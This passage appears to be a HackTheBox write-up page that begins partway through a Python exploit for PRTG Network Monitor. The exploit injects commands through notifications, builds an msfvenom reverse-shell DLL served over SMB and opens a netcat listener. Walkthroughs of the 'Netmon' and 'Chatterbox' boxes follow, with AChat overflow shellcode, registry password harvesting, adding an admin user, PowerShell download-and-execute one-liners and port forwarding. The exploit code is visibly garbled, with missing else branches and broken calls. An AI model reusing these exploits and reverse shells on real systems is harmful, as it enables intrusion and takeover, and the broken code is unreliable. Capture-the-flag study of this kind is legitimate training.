    payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=\"{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.quote_plus(fileLocation))

    # Check for SSL
    if https:
        conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
        conn = httplib.HTTPConnection(url)   
    conn.request("POST", "/editsettings", payload, headers)
    response = conn.getresponse()

    objid = json.loads(['objid']  

    print success + "File staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)
    return objid

def prepareCommand(fileLocation, command):
    session = get_session()
    # File: log output which we require for injection
    # Session: A valid session ID returned from get_session
    name = randomString()

    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With' : 'XMLHttpRequest',
        'Cookie' : str(session)
    payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=\"{};{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.quote_plus(fileLocation), urllib.quote_plus(command))

    # Check for SSL
    if https:
        conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
        conn = httplib.HTTPConnection(url)   
    conn.request("POST", "/editsettings", payload, headers)
    #conn.debuglevel = 1
    response = conn.getresponse()
    #print response.status, response.reason

    objid = json.loads(['objid']  

    print success + "Command staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)
    return objid

def notify(objid):
    session = get_session()

    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With' : 'XMLHttpRequest',
        'Cookie' : str(session)
    payload = "id={}".format(objid)

    # Check for SSL
    if https:
        conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
        conn = httplib.HTTPConnection(url)   
    conn.request("POST", "/api/notificationtest.htm", payload, headers)
    response = conn.getresponse()
    data =

    if 'EXE notification is queued up' not in data:
        raise ValueError('Notify did not return the correct response.', data)
        print success + "Notification with objid [{}] staged for execution".format(objid)
        return 0

def initialise(fileLocation):
    objid = createFile(fileLocation)

def executeCommand(fileLocation, command):
    objid = prepareCommand(fileLocation, command)

def generatePayload(output, lhost, lport):
    print event + "Generate msfvenom payload with [LHOST={} LPORT={} OUTPUT={}]".format(lhost, lport, output)
    os.system("msfvenom -p windows/shell_reverse_tcp LHOST="+ lhost + " LPORT="+ lport +" -f dll > " + output)

def hostPayload(lhost, outputDir, shareName):   
    server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
    server.addShare(shareName, outputDir)   
    # If the host you're talking to doesnt support SMBv1 this can be uncommented to enable it.  This is an experimental impacket feature.
    print event + "Hosting payload at [\\\\{}\{}]".format(lhost, shareName)
logging.basicConfig(level=logging.DEBUG, format=event + '%(message)s',)

# Simple error handling because
    # Default writable file location
    fileLocation = 'C:\\Users\\Public\\tester.txt'
    print ""
    print event + "Exploiting [%s:%s] as [%s/%s]" % (host, port, user, password)

    shellName = randomString()
    shareName = randomString().upper()
    outputDir = "/tmp"
    payload = "{}/{}.dll".format(outputDir,shellName)
    shellLocation = "\\\\{}\\{}\\{}.dll".format(lhost, shareName, shellName)


    # Generate our reverse shell payload
    generatePayload(payload, lhost, lport)

    # Setup the threading to run an impacket server in the background  
    impacket = threading.Timer(0, hostPayload, args=(lhost, outputDir, shareName,))

    # Little sleep just to make sure everything is dandy

    command = "rundll32.exe " + shellLocation + ",0"
    executeCommand(fileLocation, command)
    # Close the SMB server when no longer required
    print event + "Attempting to kill the impacket thread"
    print notification + "Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!"
    print notification + "ps aux | grep <script name> and kill -9 <pid> if it is still running :)"
    print notification + "The connection will eventually time out."
    print ""
    print success + "Listening on [{}:{} for the reverse shell!]".format(lhost, lport)
    os.system("nc -nvlp " + lport)

except ValueError as err:
    for errors in err:
        print error + errors
except Exception:
    print error + "An unhandled exception has occured!"




root@kali:~/htb/netmon# smbmap -u puck -p 'iestyle2019!' -d netmon -H
[+] Finding open SMB ports....
[+] User SMB session establishd on
[+] IP: Name: 
Disk Permissions
---- -----------
root@kali:~/htb/netmon# smbclient -U puck //$
Enter WORKGROUP\puck's password: iestyle2019!
Try "help" to get a list of possible commands.
smb: \> cd users
smb: \users\> cd administrator
smb: \users\administrator\> cd desktop
smb: \users\administrator\desktop\> dir
. DR 0 Sat Feb 2 23:35:23 2019
.. DR 0 Sat Feb 2 23:35:23 2019
desktop.ini AHS 282 Sun Feb 3 07:08:39 2019
root.txt A 33 Sat Feb 2 23:35:24 2019

5114367 blocks of size 4096. 2942845 blocks available
smb: \users\administrator\desktop\> type root.txt
type: command not found
smb: \users\administrator\desktop\> get root.txt
getting file \users\administrator\desktop\root.txt of size 33 as root.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

root@kali:~/htb# 'puck:iestyle2019!@'
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file NRMENACm.exe
[*] Opening SVCManager on
[*] Creating service LksA on
[*] Starting service LksA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type c:\users\administrator\desktop\root.txt
* Enable RDP access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

net user puck iestyle2019! /add ;net localgroup administrators puck /add
root@kali:~/htb/netmon# xfreerdp /u:"puck" /v:
[15:23:04:318] [2387:2388] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @ WARNING: CERTIFICATE NAME MISMATCH! @
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - The hostname used for this connection ( 
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - does not match the name given in the certificate:
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - Common Name (CN):
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - netmon
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - A valid certificate for the wrong name should NOT be trusted!
Certificate details for (RDP-Server):
Common Name: netmon
Subject: CN = netmon
Issuer: CN = netmon
Thumbprint: 86:b8:93:52:0b:cb:d3:63:ea:05:ca:ad:16:c0:ba:c4:25:e6:13:84
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) y
Password: iestyle2019!

Author: Puckiestyle


Chatterbox is a pretty simple box and reminds me a lot of something you run across in the OSCP labs. Overall it’s pretty easy, the only sort of tricky part is with privesc if you aren’t familiar with port forwarding. If you follow my Windows Privilege Escalation Guide on this one, you’ll be golden. Before you do the box, make sure you’ve reset it otherwise you won’t get a shell.
root@kali:~/htb# nmap -p-
Starting Nmap 7.70 ( ) at 2019-08-20 08:24 EDT
Stats: 0:12:55 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 33.42% done; ETC: 09:02 (0:25:10 remaining)
Stats: 0:12:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 33.52% done; ETC: 09:02 (0:25:09 remaining)
Nmap scan report for
Host is up (0.034s latency).
Not shown: 65533 filtered ports
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 1662.31 seconds
Looks like AChat is our target. A quick Google returns an exploit in python: exploit payload is currently only going to run calc.exe, so we’ll need to generate a reverse shellcode payload. We can do this with msfvenom. Lucky for us the author of the exploit was nice enough to specify his exact command used in the comments, so we know the correct options along with which bad characters to exclude

root@kali:~/htb# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp lhost= lport=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' EXITFUNC=thread BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3706 bytes
buf =  ""
buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += "\x70\x47\x4a\x73\x51\x62\x42\x4f\x72\x4a\x39\x70\x42"
buf += "\x33\x69\x6f\x59\x45\x41\x41"

We can go ahead and edit the exploit with our newly generated shellcode. Start up a netcat listener and run our exploit.

There seemed to be a file permissions misconfiguration on the local administrators folder, and the root.txt file. I assumed this was the method we were supposed to take to get the root.txt flag. root.txt is owned by Alfred so we can use icacls to give full permissions on the root.txt file so we can read it.

root@kali:~/htb# python 
root@kali:~/htb# rlwrap nc -lvp 443 listening on [any] 443 ... inverse host lookup failed: Unknown host connect to [] from (UNKNOWN) [] 49157 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami
whoami chatterbox\alfred
C:\Users\Administrator\Desktop>type root.txt 
type root.txt Access is denied.

C:\Users\Administrator\Desktop>dir /Q
dir /Q
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM <DIR> BUILTIN\Administrators .
12/10/2017 07:50 PM <DIR> NT AUTHORITY\SYSTEM ..
12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
2 Dir(s) 17,932,922,880 bytes free

C:\Users\Administrator\Desktop>cacls C:\Users\Administrator\Desktop cacls C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>cacls root.txt /g Alfred:r
cacls root.txt /g Alfred:r
y Are you sure (Y/N)?processed file: C:\Users\Administrator\Desktop\root.txt C:\Users\Administrator\Desktop>type root.txt

Privilege Escalation

After running through some basic privilege escalation enumeration (ahem) we find some credentials in the registry for autologon.

C:\Windows\Panther>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
    DefaultDomainName    REG_SZ
    DefaultUserName    REG_SZ    Alfred
    DefaultPassword    REG_SZ    Welcome1!

Attempting to re-use this password with the Administrator account is successful, and can be
achieved using powershell or by opening SMB and using impacket’s psexec. Using powershell, the command

$passwd = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('administrator' $passwd)

will store the credentials in $creds for the session. A reverse shell can now be opened with the supplied credentials using the command

Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('')" -Credential $creds

It’s possible that password reuse may be at play here for the Administrator. To exploit this we’ll need to open up SMB on our target. We can do this by uploading plink.exe to our target and port forwarding over port 445.

First we start up our python http server.

root@kali:~/pwk# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [20/Aug/2019 08:40:06] "GET /plink.exe HTTP/1.1" 200 -

Next we’ll download plink.exe using a powershell one liner.

C:\Users\Alfred>powershell -c "(New-Object System.Net.WebClient).DownloadFile('', 'plink.exe')"

Start SSH service on our attacking box.

root@kali:~/htb/chatterbox# service ssh start

And run plink.exe from our target to forward the port over SSH.

C:\Users\Alfred>plink.exe -l puck -pw iestyle -R 445:
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 fc:4d:bc:2f:51:41:40:0d:2e:e2:86:a6:06:fb:98:88
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
Store key in cache? (y/n) y

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 10 09:31:17 2017 from


We can verify the port forward is working with netstat.

root@kali:~/htb/chatterbox# netstat -ano | grep 445
tcp        0      0 *               LISTEN      off (0.00/0/0)
tcp6       0      0 ::1:445                 :::*                    LISTEN      off (0.00/0/0)

Excellent. Now let’s use winexe to get a shell.

root@kali:~/htb/chatterbox# winexe -U Administrator // "cmd.exe"
Enter password:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Alfred>powershell -c "(New-Object System.Net.WebClient).DownloadFile('', 'puckieshell53.ps1')"
C:\Users\Alfred>powershell -ExecutionPolicy ByPass -File puckieshell53.ps1

Author :Puckiestyle